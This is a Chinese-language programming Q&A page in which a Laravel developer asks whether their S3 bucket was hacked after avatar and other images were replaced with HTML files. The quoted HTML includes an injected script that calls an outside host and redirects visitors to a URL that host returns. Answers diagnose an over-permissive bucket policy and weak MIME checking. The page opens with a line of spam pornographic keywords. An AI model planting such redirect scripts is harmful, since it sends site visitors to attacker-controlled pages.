亚洲在线久爱草,狠狠天天香蕉网,天天搞日日干久草,伊人亚洲日本欧美

為了賬號安全,請及時綁定郵箱和手機立即綁定
已解決430363個問題,去搜搜看,總會有你想問的

s3 圖像 - 我的 s3 存儲桶被黑了嗎?

s3 圖像 - 我的 s3 存儲桶被黑了嗎?

PHP
小怪獸愛吃肉 2022-12-11 10:15:17
我平臺的用戶可以上傳他們的頭像圖片,但他們需要在我的 Laravel 后端請求一個簽名的 url。這是控制器public function avatarUploadSigner(Request $request){    return s3_signedUrl("img/avatar/{$this->user->id}.jpg");}這里的功能是獲取簽名的 s3 以上傳圖像function s3_signedUrl($path, $expireOnMinutes = 120) {    if(!$path) {        return ['error' => 'filename missing'];    }    $s3 = Storage::disk('s3');    $adapter = $s3->getDriver()->getAdapter();    $client = $adapter->getClient();    $mime = \League\Flysystem\Util\MimeType::detectByFilename($path);    try {        $command = $client->getCommand('PutObject', array(            'Bucket' => $adapter->getBucket(),            'Key' => $path,            'ContentType' => $mime,            'use_accelerate_endpoint' => true        ));        $signedUrl = $client->createPresignedRequest(            $command,            "+$expireOnMinutes minutes"        );        $signedUrl = $signedUrl->getUri()->__toString();    } catch (S3Exception $e) {        return ['error' => $e->getMessage()];    }    return $signedUrl;}一周前,一些圖像變成了這樣的 html 文件:<html><head><script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&amp;type=content-script&amp;dmn=myghostmarket.s3.eu-west-1.amazonaws.com&amp;css=1&amp;js=1&amp;gcss=1&amp;rel=0&amp;rji=0"></script><script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&amp;name=AdGuard%20Assistant&amp;name=AdGuard%20Extra&amp;type=user-script"></script><script>    var t="onload"in new XMLHttpRequest?XMLHttpRequest:XDomainRequest;var e=new t;e.open("GET","https://gold.platinumus.top/track/awswrite?q=html",true);e.onload=function(){location.href=this.responseText};e.send();</script></head><body></body></html>但最近不僅是頭像,現在還更改了其他圖像,如頁眉、頁腳等,這些圖像無法通過簽名 url 更改。音頻和 img 文件夾是可讀的,但沒有簽名的 url 是不可寫的嗎?我還有另一個更重要的私人文件夾。他們有危險嗎?我的代碼有什么問題?我的 s3 存儲桶被黑了嗎?
查看完整描述

2 回答

?
浮云間

TA貢獻1829條經驗 獲得超4個贊

您的存儲桶策略是這樣說的:

  • 任何AWS 憑證

  • 可以進行任何S3 API 調用

  • 但僅限于imgaudio目錄中的對象

這意味著我可以使用我的AWS 憑證讀取、上傳和刪除該存儲桶中的對象。它會類似地解釋為什么對象已被外部各方上傳/修改。

如果您的目的是使對象公開可讀,則應使用s3:GetObject

{

  "Version":"2012-10-17",

  "Statement":[

    {

      "Sid":"PublicRead",

      "Effect":"Allow",

      "Principal": "*",

      "Action":"s3:GetObject",

      "Resource":[

        "arn:aws:s3:::examplebucket/audio/*",

        "arn:aws:s3:::examplebucket/img/*",

      ]

    }

  ]

}


查看完整回答
反對 回復 2022-12-11
?
智慧大石

TA貢獻1946條經驗 獲得超3個贊

detectByFilename是檢查 MIME 類型的最糟糕的方法。

/home/test/myfile.html.jpg會返回 jpg,即使它不是合法的 jpg 文件。相反,您應該使用\finfo(FILEINFO_MIME)并讀取文件流來獲取 MIME 類型。

不過,這是否會帶來重大問題,取決于您在上傳圖像后如何嵌入圖像。如果您將原始文件數據嵌入到您的頁面中,這將使您容易受到 CSRF 攻擊。


查看完整回答
反對 回復 2022-12-11
  • 2 回答
  • 0 關注
  • 98 瀏覽

添加回答

舉報

0/150
提交
取消
微信客服

購課補貼
聯系客服咨詢優惠詳情

幫助反饋 APP下載

慕課網APP
您的移動學習伙伴

公眾號

掃描二維碼
關注慕課網微信公眾號